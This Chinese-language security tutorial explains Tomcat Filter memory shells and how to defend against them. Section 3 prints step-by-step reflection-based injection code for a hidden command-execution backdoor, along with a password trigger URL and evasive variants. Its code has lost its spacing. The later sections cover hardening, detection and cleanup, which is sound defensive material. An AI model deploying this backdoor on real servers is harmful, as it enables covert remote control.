一次吃透 Filter 内存马：Tomcat 容器级攻击与防护全流程

Filter型内存马是Java Web安全领域的标志性威胁载体，也是渗透测试与应急响应中绕不开的核心课题。相较于传统磁盘木马，它以「无文件落地、动态注入、永久驻留」的特性，成为突破防御体系的利器；而对安全从业者而言，吃透其底层原理，既是防御加固的前提，也是逆向查杀的关键。

本文将从Tomcat容器的底层架构出发，深度拆解Filter型内存马的注入原理、实现流程、变种演化，并结合攻防对抗视角给出前瞻性防护方案，真正实现「知其然，知其所以然，知其如何防」。

一、底层基石：Tomcat Filter机制与请求链路深度解析

要理解Filter型内存马，必须先掌握Tomcat中Filter的原生工作机制——这是内存马得以寄生的基础。

1.1 Tomcat的分层架构与Filter的定位

Tomcat采用分层模块化架构，从请求接入到响应返回，核心链路可细分为：

用户请求 → Socket → Connector（协议解析） → Engine（引擎） → Host（虚拟主机） → Context（Web应用上下文） → Filter链 → Wrapper（Servlet包装器） → Servlet → 反向链路返回响应

其中，Context是Web应用的核心载体，一个WAR包对应一个Context实例，它管理着当前应用的所有Servlet、Filter、Listener等组件。而Filter作为请求拦截器，处于Context与Wrapper之间，其核心作用是：

• 前置处理：请求到达Servlet前，统一处理编码转换、权限校验、日志记录等；
• 后置处理：响应返回用户前，处理数据压缩、内容加密等；
• 请求阻断：若不符合规则，可直接拦截请求，不传递至后续链路。

这种「链式拦截」的设计，让Filter天然具备全量请求监控的能力——这正是内存马选择Filter作为载体的核心原因。

1.2 Filter的标准生命周期与注册流程

合法Filter的生命周期由Tomcat容器管理，分为3个阶段，且必须通过规范方式注册：

1. 初始化阶段：容器启动时，通过web.xml或@WebFilter注解读取Filter配置，创建Filter实例并调用init()方法（仅执行一次）；
2. 运行阶段：每次请求匹配url-pattern时，容器调用doFilter()方法，执行拦截逻辑；
3. 销毁阶段：容器关闭时，调用destroy()方法释放资源。

从注册本质看，无论web.xml还是注解配置，最终都会将Filter的定义信息（FilterDef）和映射规则（FilterMap）存入Context的两个核心私有属性中：

• filterDefs：Map<String, FilterDef>类型，存储Filter名称与FilterDef的映射，FilterDef包含Filter实例、类名等关键信息；
• filterMaps：List<FilterMap>类型，存储Filter的拦截规则，包含url-pattern、请求类型（GET/POST等）等。

关键点：这两个属性均为private修饰，且无对外暴露的get/set方法——这也是内存马必须依赖反射技术突破访问限制的根源。

1.3 FilterChain的执行逻辑与拦截核心

doFilter()方法的第三个参数FilterChain，是Filter链的核心控制器。其执行逻辑遵循「责任链模式」：

• 调用chain.doFilter(request, response)：将请求传递给下一个Filter，若当前是最后一个Filter，则传递给Servlet；
• 不调用该方法：请求被直接阻断，后续Filter和Servlet均不会执行。

内存马的后门逻辑，正是基于这个特性——检测到触发条件时执行恶意操作，不满足条件时放行请求，以此实现隐蔽性。

二、核心原理：Filter型内存马的注入逻辑与技术突破

2.1 内存马的本质：非法注册与合法执行的矛盾统一

Filter型内存马的核心逻辑，可概括为**「三步走」**：

1. 构造恶意Filter对象：实现Filter接口，在doFilter()中植入后门逻辑（如命令执行、文件读写）；
2. 突破容器限制：通过反射获取Context的私有属性filterDefs和filterMaps，将恶意Filter的FilterDef和FilterMap注入其中；
3. 触发容器初始化：调用Context的私有方法addFilterDef()，完成Filter的注册与初始化，使其加入合法Filter链。

整个过程的关键在于：内存马没有破坏Filter的执行规则，只是绕过了注册规则——容器会像对待合法Filter一样，在每次请求时调用其doFilter()方法，这也是内存马能永久生效的核心原因。

2.2 反射技术：突破Tomcat容器的访问壁垒

Tomcat的核心组件（如Context、FilterDef、FilterMap）均位于org.apache.catalina包下，且核心属性和方法多为私有。反射技术的作用，就是暴力打破Java的访问修饰符限制，实现以下关键操作：

1. 获取Tomcat原生Request对象：从标准HttpServletRequest中，反射获取其包装的Tomcat内部Request实例（org.apache.catalina.connector.Request），这是获取Context的入口；
2. 获取当前应用的Context实例：通过Request.getContext()方法，直接拿到当前Web应用的Context对象（本质是StandardContext的实例）；
3. 操作私有属性：反射获取Context的filterDefs和filterMaps，将恶意Filter的配置信息注入；
4. 调用私有方法：反射调用Context.addFilterDef()方法，触发Filter的初始化流程。

技术延伸：随着Tomcat版本迭代，部分属性和方法的名称、访问权限会发生变化（如Tomcat 10中包名改为jakarta.servlet），内存马也需要针对性调整反射逻辑——这也是内存马变种繁多的原因。

2.3 内存马的核心优势：为什么它难以被查杀？

相较于传统磁盘木马，Filter型内存马的隐蔽性和持久性堪称「天花板级别」，核心优势体现在4个方面：

1. 无文件落地：恶意Filter以内存对象形式存在，不写入服务器磁盘，杀毒软件无法通过文件特征检测；
2. 与合法组件融合：注入后，恶意Filter会混入Context的Filter链中，常规的日志审计、组件列表检查难以发现；
3. 永久驻留内存：只要Tomcat不重启，内存马就会一直存在，即使删除注入用的Servlet，也不会影响其运行；
4. 全量请求拦截：配置url-pattern="/*"后，可拦截当前应用的所有HTTP请求，触发条件灵活（如特定参数、请求头）。

三、实战落地：Filter型内存马完整实现与变种演化

3.1 标准版内存马实现（Tomcat 8/9通用）

3.1.1 核心注入流程（7步拆解，可直接复现）

1. 获取Tomcat原生Request

   // req为HttpServletRequest实例FieldrequestField=req.getClass().getDeclaredField("request");requestField.setAccessible(true);org.apache.catalina.connector.RequesttomcatRequest=(org.apache.catalina.connector.Request)requestField.get(req);

2. 获取当前应用的Context

   org.apache.catalina.Contextcontext=tomcatRequest.getContext();

3. 构造恶意Filter（带命令执行功能）

   FilterevilFilter=newFilter(){@Overridepublicvoidinit(FilterConfigfilterConfig)throwsServletException{}@OverridepublicvoiddoFilter(ServletRequestservletRequest,ServletResponseservletResponse,FilterChainchain)throwsIOException,ServletException{HttpServletRequestreq=(HttpServletRequest)servletRequest;HttpServletResponseresp=(HttpServletResponse)servletResponse;// 触发条件：携带pass参数且值为自定义密钥，防止被未授权调用Stringpass=req.getParameter("pass");Stringcmd=req.getParameter("cmd");if("mypass123".equals(pass)&&cmd!=null){// 执行系统命令并返回结果Processprocess=Runtime.getRuntime().exec(cmd);BufferedReaderbr=newBufferedReader(newInputStreamReader(process.getInputStream(),"GBK"));StringBuildersb=newStringBuilder();Stringline;while((line=br.readLine())!=null){sb.append(line).append("\n");}resp.getWriter().write(sb.toString());br.close();process.destroy();return;}// 未触发条件则放行请求，不影响业务chain.doFilter(servletRequest,servletResponse);}@Overridepublicvoiddestroy(){}};

4. 封装FilterDef对象

   FilterDeffilterDef=newFilterDef();filterDef.setFilterName("EvilFilter_"+System.currentTimeMillis());// 加时间戳避免名称冲突filterDef.setFilter(evilFilter);filterDef.setFilterClass(evilFilter.getClass().getName());

5. 配置FilterMap拦截规则

   FilterMapfilterMap=newFilterMap();filterMap.setFilterName(filterDef.getFilterName());filterMap.addURLPattern("/*");// 拦截所有请求// 拦截所有请求类型（包括REQUEST、FORWARD、INCLUDE等）filterMap.setDispatcherTypes(EnumSet.allOf(DispatcherType.class));

6. 反射注入FilterDef和FilterMap到Context

   // 反射获取filterDefs并注入FieldfilterDefsField=context.getClass().getDeclaredField("filterDefs");filterDefsField.setAccessible(true);Map<String,FilterDef>filterDefs=(Map<String,FilterDef>)filterDefsField.get(context);filterDefs.put(filterDef.getFilterName(),filterDef);// 反射获取filterMaps并注入FieldfilterMapsField=context.getClass().getDeclaredField("filterMaps");filterMapsField.setAccessible(true);List<FilterMap>filterMaps=(List<FilterMap>)filterMapsField.get(context);filterMaps.add(0,filterMap);// 插入到Filter链头部，优先执行（增强隐蔽性）

   优化点：将恶意FilterMap插入到filterMaps的头部，可优先拦截请求，避免被其他Filter阻断。
7. 反射调用addFilterDef完成注册

   MethodaddFilterDefMethod=context.getClass().getDeclaredMethod("addFilterDef",FilterDef.class);addFilterDefMethod.setAccessible(true);addFilterDefMethod.invoke(context,filterDef);

3.1.2 完整EXP封装与触发验证

将上述逻辑封装为一个Servlet，部署后访问一次即可完成注入。触发时需携带密钥参数pass=mypass123和命令参数cmd，例如：

http://target-ip:8080/webapp/任意路径?pass=mypass123&cmd=whoami

3.2 变种演化：对抗检测的高级内存马技术

随着防御技术升级，标准版内存马容易被基于「反射行为检测」「Filter链遍历」的工具查杀，因此衍生出多种高级变种：

1. 无反射内存马：利用Tomcat的漏洞（如CVE-2020-1938）或开源框架的暴露接口，直接获取Context对象，避免反射操作；
2. 动态类加载内存马：将恶意Filter的字节码加密存储，注入时动态解密加载，避免静态特征检测；
3. 线程注入内存马：在Filter中启动后台线程，实现持久化控制（如定时反弹Shell、文件监控），即使请求结束，线程仍在运行；
4. 跨Context内存马：通过Tomcat的Host对象，将恶意Filter注入到所有Web应用的Context中，实现「一次注入，全网控制」。

四、攻防对抗：Filter型内存马的防护与查杀体系

4.1 前瞻性防护方案（从根源降低注入风险）

防御的核心是阻断内存马的注入路径和限制其执行权限，可从5个维度构建防护体系：

1. 容器层加固
   • 升级Tomcat版本：及时修复存在的漏洞（如CVE-2021-41079、CVE-2022-22965），这些漏洞可能被用于获取Context对象；
   • 禁用危险类与方法：通过catalina.policy文件配置Java安全策略，禁止Web应用访问org.apache.catalina包下的核心类，限制Runtime.exec()等命令执行方法；
   • 开启类加载隔离：在context.xml中配置antiResourceLocking="true"和privileged="false"，防止恶意类加载突破隔离。
2. 应用层防护
   • 过滤恶意请求：在前端WAF或网关中，拦截包含反射关键字（如getDeclaredField、setAccessible）、恶意参数（如cmd、pass）的请求；
   • 最小权限原则：Web应用的运行用户仅赋予只读权限，禁止执行系统命令、读写敏感文件（如/etc/passwd、web.xml）；
   • 审计第三方组件：定期扫描应用依赖的开源组件（如Struts2、Log4j），修复存在的漏洞，避免被用于注入内存马。
3. 监控层预警
   • 实时监控反射行为：通过APM工具（如SkyWalking、Pinpoint）监控JVM的反射调用，一旦发现大量访问StandardContext的私有属性，立即触发告警；
   • 遍历Filter链审计：定期通过JMX（Java Management Extensions）连接Tomcat，获取Context的filterDefs和filterMaps，对比白名单，发现未知Filter立即处理；
   • 监控异常线程：通过jstack命令或监控工具，检测是否存在未知的后台线程，尤其是持续运行的命令执行线程。

4.2 应急查杀方案（注入后的处置措施）

若已发现内存马，需采取**「先止损，后溯源」**的处置流程：

1. 紧急止损：无重启查杀
   • 编写查杀工具：通过反射获取Context的filterDefs和filterMaps，遍历并删除恶意Filter对应的键值对；
   • 阻断触发条件：在WAF中拦截包含内存马触发参数（如pass）的请求，防止攻击者继续利用；
   • 清理异常线程：通过jstack找到恶意线程的ID，调用Thread.stop()方法终止线程（注意：该方法可能导致数据不一致，需谨慎使用）。
2. 彻底清除：重启与溯源
   • 重启Tomcat服务：这是最彻底的清除方式，内存马作为内存对象，重启后会完全消失；
   • 溯源注入路径：分析Tomcat的访问日志和应用日志，找到注入内存马的请求来源，定位攻击入口（如文件上传漏洞、反序列化漏洞）；
   • 加固漏洞：修复溯源发现的漏洞，更新防护规则，防止攻击者再次注入。

五、未来演进：内存马与防御技术的博弈趋势

随着云原生和微服务架构的普及，Filter型内存马也呈现出新的演进趋势：

1. 云环境下的内存马：针对K8s集群中的Tomcat容器，内存马可能结合容器逃逸技术，从Pod内部突破到宿主机；
2. 无文件攻击链融合：内存马与勒索软件、挖矿程序结合，形成「注入→控制→挖矿/勒索」的完整攻击链，危害性大幅提升；
3. AI驱动的变种生成：攻击者可能利用AI技术，自动生成适配不同Tomcat版本、绕过检测规则的内存马变种，攻防对抗进入智能化阶段。

对应的防御技术也将向**「主动防御」**升级：基于机器学习的异常行为检测、动态沙箱分析内存马的执行特征、零信任架构下的最小权限管控，将成为未来防护的核心方向。

总结

Filter型内存马的本质，是对Tomcat Filter机制的「非法利用」——它依托容器的原生链路实现持久化控制，又通过反射技术突破访问限制，成为Java Web安全领域的「隐形杀手」。

对于安全从业者而言，掌握其底层原理，不仅能有效防御和查杀这类威胁，更能举一反三，理解Listener型、Servlet型、Valve型等其他内存马的核心逻辑。在攻防对抗日益激烈的今天，只有**「知攻方，方能守方」**，才能构建起真正牢不可破的安全防线。